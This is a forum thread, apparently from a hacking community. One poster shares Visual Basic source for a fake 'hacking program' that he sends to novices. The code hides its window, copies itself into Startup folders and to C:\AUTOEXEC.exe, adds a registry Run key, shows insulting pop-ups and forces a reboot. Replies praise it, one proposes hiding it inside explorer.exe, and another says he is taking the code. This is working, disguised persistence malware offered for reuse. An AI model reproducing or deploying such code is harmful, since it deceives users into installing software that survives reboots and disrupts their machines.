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another day, another noob


Mr_Cheese's Avatar
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sighs yet again i sign onto AIM ready to help people on HBH who have various computer problems, and i am greeted by another "can you teach me to hack" "i wanna hack aim passwords, emails and shit" messages.

Usally its my custom to be as helpful as possible so i always try to send them my uber_h4x0r_prog.exe.

Im pretty sure im not alone with these kinda situations, so i figured i'd share the source code to my uber_h4x0r_prog.exe Just incase anyone else wishes to use it the same way as i do:

Its a really simple program that took 3 seconds to write in VB:

Private Sub Form_Load()
On Error Resume Next
Me.Hide
App.TaskVisible = False

Dim Windir, Windir1, user As String

Windir1 = Environ("windir")
Windir = Right(Windir1, Len(Windir1) - 3)
user = Environ("username")

FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\Documents and Settings\All users\Start Menu\Programs\startup\Kernel35.exe"
FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\WINNT\Profiles\All users\Start Menu\Programs\Startup\Kernel35.exe"
FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\Documents and Settings\" & user & "\Start Menu\Programs\startup\Kernel35.exe"
FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\WINNT\Profiles\" & user & "\Start Menu\Programs\Startup\Kernel35.exe"

FileCopy App.Path + "/" + App.EXEName + ".exe", "C:\AUTOEXEC.exe"


MsgBox "ERROR (xr174): Windows has detected a retarded user.", vbDefaultButton1, "ERROR: Retard detected"
MsgBox "Repeat after me: I will not ask people for shitty h4x0r programs.", vbDefaultButton1, "ERROR: Retard detected"
MsgBox "Repeat after me: I am a retarded noob.", vbDefaultButton1, "ERROR: Retard detected"

Call Shell("reg add hkey_local_machine\software\microsoft\" & Windir & "\currentversion\run /v systemGUI /t reg_sz /d C:\AUTOEXEC.exe /f", vbHide)

Call Shell("shutdown -f -r", vbHide)

End Sub

ghost's Avatar
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Lol, you're so evil Mr_Cheese. They've got it comming to them though.


ghost's Avatar
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i like that one. Then they learn not to be so stupid. Damn kiddies.


AldarHawk's Avatar
The Manager
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AldarHawk Bows to Mr_Cheese

You are a god! I have said it before and I will continue to say it…You rock Cheese! That is awsome. Easily fixed but awsome. you have to encode it into the explorer.exe next then it will be hell to get rid of it!!! lmfao!


ghost's Avatar
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The evilness is pure in you :) -nice program

(Does it realy h4ckk Aim?!?! OMF l33t wow Imoa you 000wn 11!!11!!)


ghost's Avatar
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you would think they would take the time to read the code first, thats why if i was you i would just put it up as a dload in exe form but i still think its damn funny i cant wait to see if any one does it.


Neo_Chalchus's Avatar
Lover of Parkour
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Scobe, he does put it in exe, he just showed US the code. Also…This is awsome. Hope you don't mind but I'm stealing the code (which is probbobly the reason you put it up in the first place)

thx NC